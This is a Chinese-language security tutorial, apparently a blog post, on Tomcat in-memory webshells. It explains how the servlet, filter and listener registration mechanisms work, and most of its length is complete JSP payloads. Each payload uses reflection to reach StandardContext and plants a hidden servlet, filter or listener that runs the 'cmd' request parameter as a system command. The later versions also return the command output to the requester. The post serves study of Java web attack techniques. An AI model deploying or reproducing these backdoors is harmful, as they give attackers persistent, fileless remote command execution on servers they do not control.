Tomcat中的三种context
这里直接参考枫师傅的文章
https://goodapple.top/archives/1355

Servlet型内存马
假设某Web
应用中有一个HelloServlet
类,可以如下代码所示使用Tomcat
去加载这个Servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| Tomcat tomcat = new Tomcat();
Context context = tomcat.addWebapp("", new File(".").getAbsolutePath());
Wrapper wrapper = context.createWrapper();
wrapper.setServletClass("com.KaGty1.HelloServlet");
wrapper.addMapping("/hello");
context.addChild(wrapper);
tomcat.start(); tomcat.getServer().await();
|
内存马payload_demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="javax.servlet.*" %> <%@ page import="javax.servlet.annotation.WebServlet" %> <%@ page import="javax.servlet.http.HttpServlet" %> <%@ page import="javax.servlet.http.HttpServletRequest" %> <%@ page import="javax.servlet.http.HttpServletResponse" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardWrapper" %>
<% class S implements Servlet{ @Override public void init(ServletConfig config) throws ServletException {} @Override public ServletConfig getServletConfig() {return null;}
@Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if(cmd != null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) {} } }
@Override public String getServletInfo() {return null;} @Override public void destroy() {} } %>
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>
<% S evilServlet = new S(); Wrapper evilWrapper = standardContext.createWrapper(); String name = evilServlet.getClass().getSimpleName(); evilWrapper.setName(name); evilWrapper.setLoadOnStartup(1); evilWrapper.setServlet(evilServlet); standardContext.addChild(evilWrapper); standardContext.addServletMappingDecoded("/servlet_shell", name);
out.println("Inject successfully"); %>
|
将写有Servlet
内存马的servletShell.jsp
上传到 WEB-INF
目录下,启动Tomcat
,访问servletShell.jsp
触发代码注册恶意servlet
,访问恶意servlet
路由执行命令即可

先访问http://localhost:9090/test_war_exploded/servletShell.jsp
加载恶意servlet
然后访问http://localhost:9090/test_war_exploded/servlet_shell?cmd=open%20-a%20Calculator
执行命令弹出计算器
Filter型内存马
原理代码如下,若某个Filter
拦截器中存在恶意代码,就会造成命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| @WebFilter("/*") public class filterShell implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String command = request.getParameter("cmd"); if (command != null) { try { Runtime.getRuntime().exec(command); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } }
|
访问http://localhost:9090/test_war_exploded/*?cmd=xxxx
就会经过filterShell
拦截器执行恶意命令
在web.xml
文件中,注册filter
过滤器的写法如下
1 2 3 4 5 6 7 8
| <filter> <filter-name>test</filter-name> <filter-class>com.KaGty1.test</filter-class> </filter> <filter-mapping> <filter-name>test</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
|
Filter过滤器执行逻辑分析
1 2 3 4
| doFilter:12, filterShell (org.kgty.test) internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core) doFilter:144, ApplicationFilterChain (org.apache.catalina.core) invoke:168, StandardWrapperValve (org.apache.catalina.core) --> doFilter逻辑开始执行
|
invoke:168, StandardWrapperValve (org.apache.catalina.core)
调用doFilter
的核心逻辑如下
1 2
| ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); filterChain.doFilter(request.getRequest(), response.getResponse());
|
跟进ApplicationFilterFactory.createFilterChain
,核心逻辑伪代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) { ApplicationFilterChain filterChain = null; StandardContext context = (StandardContext) wrapper.getParent(); FilterMap filterMaps[] = context.findFilterMaps(); DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR); String requestPath = null; Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR); if (attribute != null) { requestPath = attribute.toString(); } for (FilterMap filterMap : filterMaps) { if (!matchDispatcher(filterMap, dispatcher)) { continue; } if (!matchFiltersURL(filterMap, requestPath)) { continue; } ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName()); if (filterConfig == null) { continue; } filterChain.addFilter(filterConfig); } }
void addFilter(ApplicationFilterConfig filterConfig) {
if (n == filters.length) { ApplicationFilterConfig[] newFilters = new ApplicationFilterConfig[n + INCREMENT]; System.arraycopy(filters, 0, newFilters, 0, n); filters = newFilters; } filters[n++] = filterConfig;
}
|
最后调用至internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core)
,核心逻辑伪代码如下
1 2 3 4 5 6 7 8
| private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
private void internalDoFilter(ServletRequest request, ServletResponse response) { ApplicationFilterConfig filterConfig = filters[pos++]; Filter filter = filterConfig.getFilter(); filter.doFilter(request, response, this); }
|
由以上分析可得动态创建Filter
过滤器并加载到filterChain
中的两个关键步骤
1 2
| (1) FilterMap filterMaps[] = context.findFilterMaps() (2) context.findFilterConfig(filterMap.getFilterName())
|
内存马构造
首先构造filterMap
,StandardedContext
类中存在方法addFilterMapBefore
可以满足需求,但是需要先经过validateFilterMap
方法的检查

validateFilterMap
方法会检查StandardedContext类的filterDefs
属性中是否含有filterName


所以在使用addFilterMapBefore
添加filterMap
之前需要对filterDefs
属性提前赋值,恰好StandardedContext
类中提供了addFilterDef
方为filterDefs
赋值

filterMap
的构造解决了,最后需要解决context.findFilterConfig(filterMap.getFilterName())
1 2 3 4 5 6 7
| private Map<String,ApplicationFilterConfig> filterConfigs = new HashMap<>();
public FilterConfig findFilterConfig(String name) { synchronized (filterDefs) { return filterConfigs.get(name); } }
|
由于StandardedContext
中未找到给filterConfigs
赋值的方法,所以只能通过反射来赋值
Filter
型内存马Payload
最终如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>
<% class FilterShellClass implements Filter { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } } %>
<% FilterShellClass filterShellClass = new FilterShellClass(); String name = "filterShell"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filterShellClass); filterDef.setFilterClass(filterDef.getClass().getName()); filterDef.setFilterName(name); standardContext.addFilterDef(filterDef); %>
<% FilterMap filterMap = new FilterMap(); filterMap.setFilterName(name); filterMap.addURLPattern("/*"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); %>
<% Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); Constructor ApplicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); ApplicationFilterConfigConstructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) ApplicationFilterConfigConstructor.newInstance(standardContext, filterDef); filterConfigs.put(name, applicationFilterConfig); out.print("Inject successfully"); %>
|
注意事项参考:https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B/

Listener型内存马
如图,Listener
是最先被加载的,所以也可以构造Listener
型内存马

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| requestInitialized:16, TestListener (org.kgty.test) fireRequestInitEvent:5169, StandardContext (org.apache.catalina.core) invoke:116, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:660, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:346, CoyoteAdapter (org.apache.catalina.connector) service:396, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:937, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:52, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745, Thread (java.lang)
|
由堆栈信息 -> 跟进fireRequestInitEvent:5169, StandardContext (org.apache.catalina.core)
,关键在于getApplicationEventListeners()

跟进getApplicationEventListeners()
1 2 3 4 5
| private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();
public Object[] getApplicationEventListeners() { return applicationEventListenersList.toArray(); }
|
和构造Filter
型内存马的思路一样,寻找给applicationEventListenersList
赋值的函数即可
1 2 3
| public void addApplicationEventListener(Object listener) { applicationEventListenersList.add(listener); }
|
利用addApplicationEventListener
可以直接构造Listener
型内存马了
Listener
型内存马Payload
如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %>
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>
<% class ListenerShell implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { ServletRequestListener.super.requestDestroyed(sre); }
@Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } } } %>
<% ListenerShell listenerShell = new ListenerShell(); standardContext.addApplicationEventListener(listenerShell); %>
|
Tomcat内存马回显
1 2 3 4 5 6 7 8 9
| InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); ByteArrayOutputStream bao = new ByteArrayOutputStream(); byte[] bytes = new byte[1024]; int a = -1; while((a = inputStream.read(bytes))!=-1){ bao.write(bytes,0,a); } response.getWriter().write(new String(bao.toByteArray()));
|
Servlet内存马回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="javax.servlet.*" %> <%@ page import="javax.servlet.annotation.WebServlet" %> <%@ page import="javax.servlet.http.HttpServlet" %> <%@ page import="javax.servlet.http.HttpServletRequest" %> <%@ page import="javax.servlet.http.HttpServletResponse" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardWrapper" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.ByteArrayOutputStream" %>
<% class S implements Servlet{ @Override public void init(ServletConfig config) throws ServletException {} @Override public ServletConfig getServletConfig() {return null;}
@Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if(cmd != null){ try { InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); ByteArrayOutputStream bao = new ByteArrayOutputStream(); byte[] bytes = new byte[1024]; int a = -1; while((a = inputStream.read(bytes))!=-1){ bao.write(bytes,0,a); } res.getWriter().write(new String(bao.toByteArray())); } catch (IOException e) {} } }
@Override public String getServletInfo() {return null;} @Override public void destroy() {} } %>
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>
<% S evilServlet = new S(); Wrapper evilWrapper = standardContext.createWrapper(); String name = evilServlet.getClass().getSimpleName(); evilWrapper.setName(name); evilWrapper.setLoadOnStartup(1); evilWrapper.setServlet(evilServlet); evilWrapper.setServletClass(evilServlet.getClass().getName()); standardContext.addChild(evilWrapper); standardContext.addServletMappingDecoded("/servlet_shell_res", name);
out.println("Inject successfully"); %>
|
Filter内存马回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>
<% class FilterShellClass implements Filter { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); ByteArrayOutputStream bao = new ByteArrayOutputStream(); byte[] bytes = new byte[1024]; int a = -1; while((a = inputStream.read(bytes))!=-1){ bao.write(bytes,0,a); } response.getWriter().write(new String(bao.toByteArray())); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } } %>
<% FilterShellClass filterShellClass = new FilterShellClass(); String name = "filterShell"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filterShellClass); filterDef.setFilterClass(filterDef.getClass().getName()); filterDef.setFilterName(name); standardContext.addFilterDef(filterDef); %>
<% FilterMap filterMap = new FilterMap(); filterMap.setFilterName(name); filterMap.addURLPattern("/*"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); %>
<% Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); Constructor ApplicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); ApplicationFilterConfigConstructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) ApplicationFilterConfigConstructor.newInstance(standardContext, filterDef); filterConfigs.put(name, applicationFilterConfig); out.print("Inject successfully"); %>
|
Listener内存马回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.InputStream" %>
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>
<% class ListenerShell implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent sre) { ServletRequestListener.super.requestDestroyed(sre); }
@Override public void requestInitialized(ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); String cmd = req.getParameter("cmd"); if (cmd != null) { try { Field field = req.getClass().getDeclaredField("request"); field.setAccessible(true); Request request = (Request) field.get(req); Response response = request.getResponse(); InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); ByteArrayOutputStream bao = new ByteArrayOutputStream(); byte[] bytes = new byte[1024]; int a = -1; while((a = inputStream.read(bytes))!=-1){ bao.write(bytes,0,a); } response.getWriter().write(new String(bao.toByteArray())); } catch (Exception e) { e.printStackTrace(); } } } } %>
<% ListenerShell listenerShell = new ListenerShell(); standardContext.addApplicationEventListener(listenerShell); %>
|